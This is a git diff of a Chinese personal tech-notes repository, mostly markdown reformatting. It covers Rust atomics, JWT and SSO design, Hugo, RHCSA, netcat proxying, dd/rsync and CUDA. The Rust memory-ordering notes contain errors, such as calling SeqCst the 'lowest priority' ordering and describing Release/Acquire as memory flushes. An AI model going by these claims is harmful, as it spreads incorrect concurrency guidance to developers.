在多CPU内核的环境下,当某个CPU内核开始运行原子操作时,就会先暂停其它CPU内核对内存的操作,以保证在原子操作运行的过程中,内存内容不会受到其它CPU内核干扰。 + - 原子操作会牵扯到编译器优化以及CPU架构的问题. + - 使用场景: 多线程之间使用原子类型通过共享内存的方式进行线程间通信。 + - 使用条件: 支持原子类型操作的指令集架构平台, 如x86/x86_64支持LOCK前缀的指令是原子操作。 + - 原子类型优点: 原子操作若用得好,就不需要去使用会拖累程序性能的互斥锁(Mutex)或是消息传递(message passing)机制。 - 为什么需要内存顺序 - - 一些编译器有指令重排功能以优化代码执行效率, 在不同线程中针对同一变量(内存)的读写顺序可能会被打乱, 不能保证顺序的一致性。 - - 一些处理器中有Cache缓存, 对某一内存的读取可能是从缓存中直接读取, 因此不同线程对同一变量的读写顺序亦不能保证一致性。 + + - 一些编译器有指令重排功能以优化代码执行效率, 在不同线程中针对同一变量(内存)的读写顺序可能会被打乱, 不能保证顺序的一致性。 + - 一些处理器中有Cache缓存, 对某一内存的读取可能是从缓存中直接读取, 因此不同线程对同一变量的读写顺序亦不能保证一致性。 + - Rust原子操作操作有5中内存顺序: Relaxed/Release/Acquire/AcqRel/SeqCst - 1. Relaxed 没有内存顺序约束, 仅仅是原子类型自己的 store/load 函数是原子操作。 - 2. Release/Acquire Release之前的写原子操作优先于Acquire之后的读原子操作。 - 1. Release: CPU每次写数据,立刻将其刷新到内存里。一定会被使用Acquire的线程看到。 - 2. Acquire: CPU每次读数据,都从内存里获取最新的数据。 - 3. AcqRel 读的时候使用Acquire顺序, 写的时候使用Release顺序。 - 4. SeqCst 该原子操作的优先级最低。 -1. std::sync::atomic::AtomicBool + 1. Relaxed 没有内存顺序约束, 仅仅是原子类型自己的 store/load 函数是原子操作。 + 2. Release/Acquire Release之前的写原子操作优先于Acquire之后的读原子操作。 + 1. Release: CPU每次写数据,立刻将其刷新到内存里。一定会被使用Acquire的线程看到。 + 2. Acquire: CPU每次读数据,都从内存里获取最新的数据。 + 3. AcqRel 读的时候使用Acquire顺序, 写的时候使用Release顺序。 + 4. SeqCst 该原子操作的优先级最低。 +1. std::sync::atomic::AtomicBool ## 标准库 其它 + ```rs fn main{ let array = [1, 2, 3]; @@ -605,11 +649,14 @@ fn main{ ``` ### 标准库 数学 + - u32.checked_next_power_of_two 返回大于或等于 n 的 2 的最小幂 + ```rs assert_eq!(3u32.checked_next_power_of_two(), Some(4)); ``` ## 标准库 宏 -1. `` dbg!("i am dbg macro") `` 将结果返回并且输出信息到标准错误输出。 -2. `` let b = format!("{}", "i am format macro"); `` 将字符串字面量转为字符串。 \ No newline at end of file + +1. `dbg!("i am dbg macro")` 将结果返回并且输出信息到标准错误输出。 +2. `let b = format!("{}", "i am format macro");` 将字符串字面量转为字符串。 diff --git a/language/test.md b/language/test.md index 3df7c00..4a846d6 100644 --- a/language/test.md +++ b/language/test.md @@ -1,4 +1,9 @@ +--- +created_date: 2022-05-26 +--- + +[TOC] - 性能测试包含了两种:压力测试和基准测试。 - - 压力测试是针对接口 API,模拟大量用户去访问接口然后生成接口级别的性能数据. - - 基准测试是针对代码,可以用来测试某一段代码的运行速度,例如一个排序算法。 \ No newline at end of file + - 压力测试是针对接口 API,模拟大量用户去访问接口然后生成接口级别的性能数据. + - 基准测试是针对代码,可以用来测试某一段代码的运行速度,例如一个排序算法。 diff --git a/language/zprojects/authentication&authorization.md b/language/zprojects/authentication&authorization.md index 3a61d98..b41db02 100644 --- a/language/zprojects/authentication&authorization.md +++ b/language/zprojects/authentication&authorization.md @@ -1,94 +1,125 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # 知识 + ## 认证授权 -- basic baerer token jwt oauth + +- basic baerer token jwt oauth ### JWT(JSON Web Token) + 1. 定义 - 1. 是一种认证协议 - 2. JWT提供了一种用于发布接入令牌(Access Token),并对发布的签名接入令牌进行验证的方法。 - 3. 令牌(Token)本身包含了一系列声明,应用程序可以根据这些声明限制用户对资源的访问。 + + 1. 是一种认证协议 + 2. JWT提供了一种用于发布接入令牌(Access Token),并对发布的签名接入令牌进行验证的方法。 + 3. 令牌(Token)本身包含了一系列声明,应用程序可以根据这些声明限制用户对资源的访问。 2. 一个Token包含三部分: -- header.claims.signature - 1. Header 头部分简单声明了类型(JWT)以及产生签名所使用的算法。 - 2. Claims 声明部分是整个token的核心,表示要发送的用户详细信息。 - 3. Signature 签名的目的是为了保证上边两部分信息不被篡改。 - ```js - jwt.sign(payload, secretOrPrivateKey, [options, callback]) - jwt.verify(token,secretOrPublicKey,[options,callback]) - ``` +- header.claims.signature + 1. Header 头部分简单声明了类型(JWT)以及产生签名所使用的算法。 + 2. Claims 声明部分是整个token的核心,表示要发送的用户详细信息。 + 3. Signature 签名的目的是为了保证上边两部分信息不被篡改。 + ```js + jwt.sign(payload, secretOrPrivateKey, [options, callback]) + jwt.verify(token,secretOrPublicKey,[options,callback]) + ``` ### OAuth2是一种授权框架 + - 是一种授权框架,提供了一套详细的授权机制(指导)。用户或应用可以通过公开的或私有的设置,授权第三方应用访问特定资源。 - 参考 https://blog.csdn.net/keets1992/article/details/104103814 + #### 角色 + 1. resource owner 2. resource server -3. client +3. client 4. authorization server + #### 授权方式 + 1. 授权码方式 2. 密码方式 + ### base64 + ```bat window.btoa("test");// "dGVzdA==" window.atob("dGVzdA=="); //"test" ``` ## 授权 -- ACL RBAC ABAC + +- ACL RBAC ABAC ### RBAC + 1. RBAC0 - 用户 角色 权限 会话 + 用户 角色 权限 会话 2. RBAC1 - 角色分层,角色继承 -3. RBAC2 - 静态职责分离,动态职责分离,角色互斥 -4. RBAC2 - RBAC1 和 RBAC2 的结合 + 角色分层,角色继承 +3. RBAC2 + 静态职责分离,动态职责分离,角色互斥 +4. RBAC2 + RBAC1 和 RBAC2 的结合 # 单点登陆&授权系统 + ## 背景 + 1. 公司里面有不同的业务系统,业务系统可能会有不同的模块,各个系统是独自运营的,各个模块是由不同的工程师开发的。 2. 需要一个单点登陆&授权 SSO系统,用户未登陆则跳转到SSO系统进行登陆,然后SSO验证并授权给用户(通过token),下次用户就可以直接以不同的权限进入不同的业务系统。 -- 具体需求: - 1. 满足登录一次,就可以操作各个业务系统。 - 2. 如果有业务系统对接进来,可以无缝对接。 - 3. 不同的角色只能执行对应系统的对应功能。 + +- 具体需求: + 1. 满足登录一次,就可以操作各个业务系统。 + 2. 如果有业务系统对接进来,可以无缝对接。 + 3. 不同的角色只能执行对应系统的对应功能。 + ## 调研 + 1. go-admin 数据可视化管理平台搭建框架,提供了流量监控登陆验证权限管理等功能,软件工程师只需要基于go-admin这个项目框架写 业务。 不适合 2. casbin包 嵌入进代码里,提供各种基于API的授权方案。 不适合 3. oauth包 , 应用于 服务A访问服务B的资源,需要获取服务B的认证。 不适合 ## 概述 + SSO(单点登陆&授权系统)系统 为各个业务系统的进行统一的登陆授权,任何业务系统都可以无缝的对接进来。 ## 设计 + ### 思想 + 用户/角色 操作/API/菜单 对象/资源/数据 -1. SSO系统 用户/角色 和 操作/API/菜单 的绑定 -2. 业务系统 用户/角色 和 对象/资源/数据 的绑定 + +1. SSO系统 用户/角色 和 操作/API/菜单 的绑定 +2. 业务系统 用户/角色 和 对象/资源/数据 的绑定 ### 数据库设计 + 1. 用户表 2. 用户组表 3. 业务系统表 4. API权限表 5. Menu权限表 - 1. 菜单,子菜单 - 2. 和前端确定菜单,给予每个菜单一个编号(沟通) + 1. 菜单,子菜单 + 2. 和前端确定菜单,给予每个菜单一个编号(沟通) 6. 角色表 - 1. 包含了API权限和Menu权限 + 1. 包含了API权限和Menu权限 7. 用户与用户组关联表 8. API权限与角色关联表 9. Menu权限与角色关联表 ### 功能设计 + #### 权限与角色的配置 + 1. API权限表配置 2. Menu权限表配置 3. 配置角色 @@ -96,23 +127,31 @@ SSO(单点登陆&授权系统)系统 为各个业务系统的进行统一的 5. 角色和Menu的关联 #### 用户与用户组的配置 + 1. 对接ldap导入所有的用户进数据库。(完成) 2. 用户的配置 3. 用户和用户组的关联 #### 角色与用户组 + 1. 角色与用户组的绑定 #### 单点登陆 + 1. 验证用户账户密码是否匹配,匹配则返回携带用户角色信息的token #### 权限认证 + 1. 用过用户id获取用户所属的角色 2. 通过角色判定用户是否具有某个系统的API的权限 ## 业务系统使用 + ### 前端 + 1. 前端存储所有自生需要的角色信息,通过 角色 判断显示哪些菜单 + ### 后端 + - 方案一 后端存储所有自生需要的角色信息,通过角色判断用户是是否有权限调用这个API - 方案二 后端API被请求时,后端会先去请求SSO系统的,SSO系统判断此角色是否有调用此API的权限 diff --git a/language/zprojects/hugo.md b/language/zprojects/hugo.md index 147ecd5..4a666b4 100644 --- a/language/zprojects/hugo.md +++ b/language/zprojects/hugo.md @@ -1,16 +1,26 @@ +--- +created_date: 2020-12-05 +--- + +[TOC] + # HUGO + ## 概念 + 1. Hugo是由Go语言实现的静态网站生成器。 2. 由 主题模板 和 markdown文章 编译生成静态网页。 3. 可以作为一个web服务器。 ## 安装 -1. windows环境下载解压即可使用 -https://github.com/gohugoio/hugo/releases/download/v0.79.0/hugo_0.79.0_Windows-64bit.zip +1. windows环境下载解压即可使用 + https://github.com/gohugoio/hugo/releases/download/v0.79.0/hugo_0.79.0_Windows-64bit.zip ## 使用 + 1. 创建一个工程 + ```bash project=myblog hugo new site ${project} @@ -18,31 +28,37 @@ cd ${project} ``` 2. 创建一篇博客 + ```bash path=posts/my-first-post.md hugo new ${path} # 生成一个模板文件 ``` 3. 主题安装 -```bash + +```bash git init git submodule add https://github.com/budparr/gohugo-theme-ananke.git themes/ananke ``` + 或者 + ```bash cd themes git clone https://github.com/vjeantet/hugo-theme-casper.git casper git clone https://gitee.com/tangjin520/hugo-casper3 casper # 穷苦潦倒的时候选择gitee ``` -4. 配置文件 -config.toml +4. 配置文件 + config.toml + ```conf # 制定主题是 casper theme = "casper" ``` 5. 编译预览 + ```bash hugo server -D # -D 编译预览 @@ -50,12 +66,14 @@ hugo server -D ``` 6. 生成静态代码进public目录 + ``` hugo ``` ## 主题 + https://themes.gohugo.io/ https://www.gohugo.org/theme/ -1. 一个轻量级主题 https://github.com/Track3/hermit \ No newline at end of file +1. 一个轻量级主题 https://github.com/Track3/hermit diff --git a/linux/RHCSA&RHCE.md b/linux/RHCSA&RHCE.md index d060cae..9841826 100644 --- a/linux/RHCSA&RHCE.md +++ b/linux/RHCSA&RHCE.md @@ -1,37 +1,47 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## RHCSA + - 考核物理系统和虚拟系统上配置网络连接、系统安全、自定义文件系统、软件更新和用户管理等操作能力。 - 2.5小时 ## 必备命令 -1. 创建引导U盘, dd 块复制覆盖 -dd if=image.name of=/dev/sdc bs=512k -2. +1. 创建引导U盘, dd 块复制覆盖 + dd if=image.name of=/dev/sdc bs=512k +2. ## RHCE + - 3.5小时 - 若欲取得红帽RHCA认证,您必须通过以下考试中的任意5门考试: - 考试代码 认证名称 - 1. EX210 红帽 OpenStack 认证系统管理员考试 - 2. EX220 红帽混合云管理专业技能证书考试 - 3. EX236 红帽混合云存储专业技能证书考试 - 4. EX248 红帽认证 JBoss 管理员考试 - 5. EX280 红帽平台即服务专业技能证书考试 - 6. EX318 红帽认证虚拟化管理员考试 - 7. EX401 红帽部署和系统管理专业技能证书考试 - 8. EX413 红帽服务器固化专业技能证书考试 - 9. EX436 红帽集群和存储管理专业技能证书考试 - 10. EX442 红帽性能调优专业技能证书考试 + 01. EX210 红帽 OpenStack 认证系统管理员考试 + 02. EX220 红帽混合云管理专业技能证书考试 + 03. EX236 红帽混合云存储专业技能证书考试 + 04. EX248 红帽认证 JBoss 管理员考试 + 05. EX280 红帽平台即服务专业技能证书考试 + 06. EX318 红帽认证虚拟化管理员考试 + 07. EX401 红帽部署和系统管理专业技能证书考试 + 08. EX413 红帽服务器固化专业技能证书考试 + 09. EX436 红帽集群和存储管理专业技能证书考试 + 10. EX442 红帽性能调优专业技能证书考试 ## ftp + 1. 安装 -yum -y install vsftpd + yum -y install vsftpd 2. 端口 - 1. 控制端口 21 - 2. 数据端口 - - 主动模式 传输数据时 启动20端口去连接客户端 - - 被动模式 传输数据时 和客户端协议随机启动一个大于1024的端口号,让客户端来连接 + 1. 控制端口 21 + 2. 数据端口 + - 主动模式 传输数据时 启动20端口去连接客户端 + - 被动模式 传输数据时 和客户端协议随机启动一个大于1024的端口号,让客户端来连接 3. 配置/etc/vsftpd/vsftpd.conf + ```conf # 主动模式 connect_from_port_20=YES @@ -44,6 +54,7 @@ pasv_max_port=65536 # (default:0(use any port)) ``` 4. 添加新用户 + ```bash # 增加用户gary,并指定gary用户的主目录为/data/gary useradd -d /data/gary gary @@ -53,95 +64,116 @@ usermod -s /sbin/nologin gary chmod a-w /data/gary # 去除用户主目录的写权限 或者增加一行vsftpd配置 allow_writeable_chroot=YES ``` -## kvm 等待实践 +## kvm 等待实践 + 1. 查看依赖的内核模块是否已经被加载 + ```bash lsmod | grep kvm modprobe kvm_intel modprobe kvm_amd # amd处理器 ``` -2. 使用kvm虚拟化技术安装虚拟机 - **未实践操作过** - 1. virt-install - 2. virsh - 3. Kickstart 自动化安装 + +2. 使用kvm虚拟化技术安装虚拟机\ + **未实践操作过** + 1. virt-install + 2. virsh + 3. Kickstart 自动化安装 ## 工具 + 1. mail -如果本地启动了SMTP,25端口 -echo 'test' | mail -s '主题' xxx@qq.com + 如果本地启动了SMTP,25端口 + echo 'test' | mail -s '主题' xxx@qq.com 2. 命令行浏览器 -yum install elinks -elinks http://baidu.com + yum install elinks + elinks http://baidu.com 3. ftp客户端 -ftp -lftp 自动尝试匿名登录 + ftp + lftp 自动尝试匿名登录 ## 指令 + 1. alias -创建指令别名 -alias ll='ls -l' + 创建指令别名\ + alias ll='ls -l' 2. grep --v 取反 --e 通过多个-e指定不同的正则表达式,或的关系 + -v 取反 + -e 通过多个-e指定不同的正则表达式,或的关系 ## RHEL7 新网络工具 + ### ip + 1. ip addr + 2. ip addr add 192.168.122.150/24 dev eth0 + 3. ip neigh 显示ARP表 + 4. ip route 显示路由表 + 5. ss -tuna4 显示监听的端口 6. ip link set dev ${device} up 启用指定接口 ### 网络配置工具 + - nmcli - 1. 查看是否启动了网络管理器 - systemctl status NetworkManager - 网络管理器包含了 nmcli 命令行工具 - 2. - nmcli con reload - nmcli con down eth0 - nmcli con up eth0 + 1. 查看是否启动了网络管理器 + systemctl status NetworkManager + 网络管理器包含了 nmcli 命令行工具 + + 2. + + nmcli con reload + nmcli con down eth0 + nmcli con up eth0 - nmtui ## 安全选项 -1. drwxrwxrwt. -最后的t表示开启‘粘滞’,功能为此目录下只有文件所有者才能删除此文件。 + +1. drwxrwxrwt.\ + 最后的t表示开启‘粘滞’,功能为此目录下只有文件所有者才能删除此文件。 2. 特殊文件属性 - 1. lsattr - 2. chattr - 1. +i 设置root用户也无法删除此文件 - 2. +a 只可以添加内容 + + 1. lsattr + 2. chattr + 1. +i 设置root用户也无法删除此文件 + 2. +a 只可以添加内容 3. umask -定义创建文件和文件夹时的默认文件权限 -设置/etc/profile /etc/bashrc - -4. 访问控制列表 acl ---- 未细看,运维生涯上未使用过此功能 - 1. getfacl - 2. setfacl - -4. SELinux 未看 - 1. 安全模型:主题、对象、动作 - - 主题:进程 - - 对象:可以被主题访问的资源 - - 动作 - 2. 查看文件上下文 ls -Z - 3. /etc/selinux/config - 4. 三种配置模式:enforcing permissive disabled + 定义创建文件和文件夹时的默认文件权限 + 设置/etc/profile /etc/bashrc + +4. 访问控制列表 acl ---- 未细看,运维生涯上未使用过此功能 + + 1. getfacl + 2. setfacl + +5. SELinux 未看 + + 1. 安全模型:主题、对象、动作 + - 主题:进程 + - 对象:可以被主题访问的资源 + - 动作 + 2. 查看文件上下文 ls -Z + 3. /etc/selinux/config + 4. 三种配置模式:enforcing permissive disabled ## 引导过程 + - **待学习和实践** ## 文件系统相关 + - fdisk用于管理在BIOS固件上使用传统的MBR分区方案创建的分区。 - gdisk 和 parted 用于管理在UEFI固件上使用GUID方案创建的分区表GPT。 -1. findmnt 以树状态格式显示所有已挂载的文件系统 \ No newline at end of file + +1. findmnt 以树状态格式显示所有已挂载的文件系统 diff --git a/linux/advancedFeature.md b/linux/advancedFeature.md index b37ddf8..f9b8589 100644 --- a/linux/advancedFeature.md +++ b/linux/advancedFeature.md @@ -1,8 +1,15 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] ## 文件描述符fd + - linux中, 每一个进程在内核中,都对应有一个“打开文件”数组,存放指向文件对象的指针,而 fd 是这个数组的下标。 - fd的类型为int, < 0 为非法值, >=0 为合法值。在linux中,一个进程默认可以打开的文件数为1024个,fd的范围为0~1023。可以通过设置,改变最大值。 - fd 0 是stdin,1 是stdout,2 是stderr。 + ```bash # Linux系统下,所有进程允许打开的最大fd数量 cat /proc/sys/fs/file-max @@ -15,17 +22,22 @@ ls -l /proc/$PID/fd/ ``` ## 进程间通信 + 进程间通信的方式有很多,常见的有信号,信号量,消息队列,管道,共享内存,和socket等 参考 https://blog.csdn.net/love_gaohz/article/details/6636661 ## 管道 + | xargs ## exec + 参考 https://blog.csdn.net/qq_31186123/article/details/82190776 + - 使用 exec 命令可以并不启动新的 Shell,而是使用执行命令替换当前的 Shell 进程,并且将老进程的环境清理掉,而且 exec 命令后的其他命令将不再执行。 - exec命令基本功能 + ```bash # 1. 在shell中执行ls,ls结束后不返回原来的shell中了 exec ls @@ -52,10 +64,10 @@ read -n 3 var <&5 # read the first 3 characters from fd 5. echo $var ``` - - ## mkfifo + 参考 https://notes.tweakblogs.net/blog/7955/using-netcat-to-build-a-simple-tcp-proxy-in-linux.html + ```bash # 终端1 mkfifo fifo @@ -64,7 +76,9 @@ exec < fifo exec 3> fifo; echo 'echo test' >&3 ``` + 实现端口转发进行代理的功能 + ```bash # 代理 nc -kl 8888 < fifo | nc garyss.top 80 > fifo @@ -91,4 +105,5 @@ sed 's/^/ => /' <"$SENT" & sed 's/^/<= /' <"$RCVD" & nc -l -p "$1" <"$BACK" | tee "$SENT" | nc "$2" "$3" | tee "$RCVD" >"$BACK" ``` -./tcp-proxy.sh 8080 garyss.top 80 \ No newline at end of file + +./tcp-proxy.sh 8080 garyss.top 80 diff --git a/linux/eBPF.md b/linux/eBPF.md index e5fbd8a..4c2cb60 100644 --- a/linux/eBPF.md +++ b/linux/eBPF.md @@ -1,12 +1,20 @@ +--- +created_date: 2025-04-28 +--- + +[TOC] + - 参考 - - http://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html - - https://coolshell.cn/articles/22320.html#google_vignette + + - http://www.brendangregg.com/blog/2019-01-01/learn-ebpf-tracing.html + - https://coolshell.cn/articles/22320.html#google_vignette - eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。 -- 出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,[dtrace](https://illumos.org/books/dtrace/chp-intro.html) 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本。 +- 出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,[dtrace](https://illumos.org/books/dtrace/chp-intro.html) 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本。 ## 使用 -1. 检查系统内核是否支持 eBPF - 1. `ls /sys/fs/bpf 和 lsmod | grep bpf` - 2. 如果不支持需要,内核配置文件中启用 eBPF 相关的选项,并重新编译内核。 \ No newline at end of file + +1. 检查系统内核是否支持 eBPF + 1. `ls /sys/fs/bpf 和 lsmod | grep bpf` + 2. 如果不支持需要,内核配置文件中启用 eBPF 相关的选项,并重新编译内核。 diff --git a/linux/file.md b/linux/file.md index 8e46f12..7ffc58a 100644 --- a/linux/file.md +++ b/linux/file.md @@ -1,6 +1,13 @@ +--- +created_date: 2025-01-15 +--- + [TOC] + # 文件 + ## 概念 + 1. 硬盘的最小存储单位: 扇区-Sector, 每个扇区储存512字节-相当于0.5KB. 2. 文件存取的最小单位: 块-block, 操作系统读取硬盘的时候, 不会一个个扇区的读取,这样效率太低,而是一次性连续读取多个扇区, 即一次性读取一个块block。 块的大小, 最常见的是4KB, 即连续八个sector组成一个block. 3. 文件存储在块中。 @@ -9,6 +16,7 @@ 6. Unix/Linux系统内部不使用文件名,而使用inode号码来识别文件。 ## 指令 + ```sh # stat 查看文件的inode信息 stat ${file} @@ -21,26 +29,27 @@ ln ${old_file} ${new_file} ln -s ${old_file} ${new_file} ``` - ### dd + - dd 指令用于处理磁盘设备文件 1. 数据来源选择 if=/dev/zero - 1. 使用 /dev/urandom 生成随机数据,可能稍慢。 - 2. 使用 /dev/zero 可生成零填充数据,速度更快。 - 3. 使用特定内容进行填充 echo "Hello Filecoin!" > input_data.txt + 1. 使用 /dev/urandom 生成随机数据,可能稍慢。 + 2. 使用 /dev/zero 可生成零填充数据,速度更快。 + 3. 使用特定内容进行填充 echo "Hello Filecoin!" > input_data.txt 2. 输出路径 of=output.bin 3. 其它参数 - 1. 显示进度 status=progress - 2. 异步进行 oflag=dsync - 3. 块的大小 bs=1M - 4. 块的数量 count=N - 5. 在输出文件中跳过的块数量 seek=N -4. 示范 - 1. 创建文件 dd if=/dev/urandom of=urandom.bin bs=1G count=17 status=progress - 2. 备份磁盘分区 dd if=/dev/sda1 of=backup.img status=progress + 1. 显示进度 status=progress + 2. 异步进行 oflag=dsync + 3. 块的大小 bs=1M + 4. 块的数量 count=N + 5. 在输出文件中跳过的块数量 seek=N +4. 示范 + 1. 创建文件 dd if=/dev/urandom of=urandom.bin bs=1G count=17 status=progress + 2. 备份磁盘分区 dd if=/dev/sda1 of=backup.img status=progress ### 传文件 + ```bash # 本地快速拷贝文件夹 tar cvf – 源文件夹路径 | tar xvf – -C 目的文件夹路径 @@ -75,12 +84,14 @@ rsync -P -e'ssh -p 22' home.tar 192.168.205.34:/home/home.tar rsync -P -a -z -e'ssh -p 22' 192.168.205.34:/home/home ./ ``` -- rsync 使用-a参数时,文件夹内的文件太多,可能会导致这个问题,例如当文件夹内含有8691137个文件时 ``No space left on device (28)`` +- rsync 使用-a参数时,文件夹内的文件太多,可能会导致这个问题,例如当文件夹内含有8691137个文件时 `No space left on device (28)` ### 稀疏文件 + - 稀疏文件 sparse file - - 稀疏文件就是在文件中留有很多空余空间,留备将来插入数据使用。如果这些空余空间被ASCII码的NULL字符占据,并且这些空间相当大,那么,这个文件就被称为稀疏文件,而且,并不分配相应的磁盘块。 - - Linux中常见的qcow2文件和raw文件,都是稀疏文件。 + - 稀疏文件就是在文件中留有很多空余空间,留备将来插入数据使用。如果这些空余空间被ASCII码的NULL字符占据,并且这些空间相当大,那么,这个文件就被称为稀疏文件,而且,并不分配相应的磁盘块。 + - Linux中常见的qcow2文件和raw文件,都是稀疏文件。 + ```bash # 创建稀疏文件,将创建一个5MB大小的文件,但不在磁盘上存储数据(仅存储元数据) spare_file_path=spare_file @@ -96,6 +107,7 @@ qemu-img info ${spare_file_path} ``` ### 传稀疏文件 + ```bash # 拷贝稀疏文件的几种方式 # 两台机器的文件系统必须相同,否则下面的指令无效 @@ -123,6 +135,7 @@ time rsync -P -S -a -z -e'ssh -p 22' ./aa 10.10.3.76:/tank1/ ``` ### 查看文件大小 + ```bash # 查看所有目录包含隐含目录的大小 du -sh * .[^.]* @@ -131,4 +144,4 @@ du -sh .[!.]* # 排除指定文件 --exclude="proc" --exclude="data*" -``` \ No newline at end of file +``` diff --git a/linux/gpu.md b/linux/gpu.md index 0736bfa..b696ef5 100644 --- a/linux/gpu.md +++ b/linux/gpu.md @@ -1,59 +1,75 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + - GPU ## 相关资料 + - CUDA(Compute Unified Device Architecture) - - 由NVIDIA推出的通用并行计算架构。提供了一套应用软件接口(API)。其主要应用于英伟达GPU显卡的调用。 - - https://forums.developer.nvidia.com/ + + - 由NVIDIA推出的通用并行计算架构。提供了一套应用软件接口(API)。其主要应用于英伟达GPU显卡的调用。 + - https://forums.developer.nvidia.com/ - ROCM - - 由AMD推出的通用并行计算架构。提供了一套应用软件接口(API)。其主要应用于AMD GPU显卡的调用。 + + - 由AMD推出的通用并行计算架构。提供了一套应用软件接口(API)。其主要应用于AMD GPU显卡的调用。 - PCI Peripheral Component Interconnect(外设部件互连标准) - + - 文章 - - nvcc https://blog.csdn.net/hxxjxw/article/details/119838078 - - cuda https://zhuanlan.zhihu.com/p/522927238 + + - nvcc https://blog.csdn.net/hxxjxw/article/details/119838078 + - cuda https://zhuanlan.zhihu.com/p/522927238 ## 显卡 + - 显卡参数 - 1. 显卡类型/显卡架构 - 2. 显卡芯片/核芯频率 - 3. 显存 - 1. 显存频率: GDDR5比DDR3的显存同核心、同核心频率大约强5%-10%。 - 2. 显存位宽。 - 3. 显存容量。 - 4. 显存带宽。指显示芯片与显存之间的数据传输速率,单位是字节/秒。 - 4. 流处理器数量 + + 1. 显卡类型/显卡架构 + 2. 显卡芯片/核芯频率 + 3. 显存 + 1. 显存频率: GDDR5比DDR3的显存同核心、同核心频率大约强5%-10%。 + 2. 显存位宽。 + 3. 显存容量。 + 4. 显存带宽。指显示芯片与显存之间的数据传输速率,单位是字节/秒。 + 4. 流处理器数量 - 显卡性能 - 1. 看显卡性能,先看核心的架构。这些555M,550M,635M,640M LE都是费米架构的,同架构之间性能容易比较。 - 2. 看显存类型,GDDR5比DDR3的显存同核心、同核心频率大约强5%-10%。 - 3. 同架构显卡,性能先看SP数量或流处理器数量,这是最影响显卡性能的因素,这个数量和性能成正比,比如华硕的555M比联想的555M强在于华硕555M是144SP,联想的是96SP,超了一半的SP数量就是华硕的555M比联想555M强得多的原因。 - 4. 看频率和流处理器的乘数估算性能。同架构的显卡大至性能可以用流处理器数量*频率来计算和横向对比。675M频率144SP的555M和750M频率,96SP的555M之间的区别就是675*144和750*96的差值,约30%左右,和跑分的差距相似。 + + 1. 看显卡性能,先看核心的架构。这些555M,550M,635M,640M LE都是费米架构的,同架构之间性能容易比较。 + 2. 看显存类型,GDDR5比DDR3的显存同核心、同核心频率大约强5%-10%。 + 3. 同架构显卡,性能先看SP数量或流处理器数量,这是最影响显卡性能的因素,这个数量和性能成正比,比如华硕的555M比联想的555M强在于华硕555M是144SP,联想的是96SP,超了一半的SP数量就是华硕的555M比联想555M强得多的原因。 + 4. 看频率和流处理器的乘数估算性能。同架构的显卡大至性能可以用流处理器数量*频率来计算和横向对比。675M频率144SP的555M和750M频率,96SP的555M之间的区别就是675*144和750\*96的差值,约30%左右,和跑分的差距相似。 ## 异构计算的编程模型 + - CUDA 更简单。 - OpenCL 一个开放的标准,跨平台,更灵活。 - Vulkan Computing 跨平台。 - HIP 跨平台。 ## CUDA + - CUDA是NVIDIA显卡成熟的开发框架。 1. CUDA Context(上下文) - - context类似于CPU上的进程上下文,管理了由Driver层分配的资源的生命周期。多线程分配调用的GPU资源同属一个context下,通常与CPU的一个进程对应。 + - context类似于CPU上的进程上下文,管理了由Driver层分配的资源的生命周期。多线程分配调用的GPU资源同属一个context下,通常与CPU的一个进程对应。 2. CUDA Stream是指一堆异步的CUDA操作. - 工作流程 - 1. 在GPU设备上申请内存。 - 2. 将主机内存上的数据拷贝到GPU设备。 - 3. 提供GPU一个核函数,该核函数是CPU想让GPU执行的程序。(CUDA kernel function) - 4. 让GPU通过SPMD的方式运行这个核函数。 - 5. GPU开始执行。 - 6. 将GPU设备上的计算结果传回主机内存。 - 7. 释放GPU设备上的内存。 + 1. 在GPU设备上申请内存。 + 2. 将主机内存上的数据拷贝到GPU设备。 + 3. 提供GPU一个核函数,该核函数是CPU想让GPU执行的程序。(CUDA kernel function) + 4. 让GPU通过SPMD的方式运行这个核函数。 + 5. GPU开始执行。 + 6. 将GPU设备上的计算结果传回主机内存。 + 7. 释放GPU设备上的内存。 ### NVCC + - nvcc是CUDA的编译器,位于bin/目录中。 1. NVCC 建立在 NVVM 优化器之上。 @@ -61,30 +77,36 @@ 3. 实质上,NVCC是一个编译器的调用集合,它会去调用很多其他的编译工具,比如gcc、cicc、ptxas、fatbinary等等。 ### SASS + - SASS是CUDA中对应GPU的机器码的硬件指令集。 - SASS指令集与SM架构有直接对应关系,一旦硬件架构设计完成就不再改变。 ### PTX ISA + - 术语 - - PTX: Parallel Thread Execution - - ISA: Instruction Set Architecture(指令集) + + - PTX: Parallel Thread Execution + - ISA: Instruction Set Architecture(指令集) - PTX带来兼容性 - - PTX与硬件架构只有比较弱的耦合关系,它本质上是从SASS上抽象出来的一种更上层的软件编程模型,介于CUDA C/C++和SASS之间。 - - PTX可以被当前机器Driver中的jit编译器编译成与当前GPU对应的SASS代码。这样就实现了代码的可移植性和向后兼容。 + + - PTX与硬件架构只有比较弱的耦合关系,它本质上是从SASS上抽象出来的一种更上层的软件编程模型,介于CUDA C/C++和SASS之间。 + - 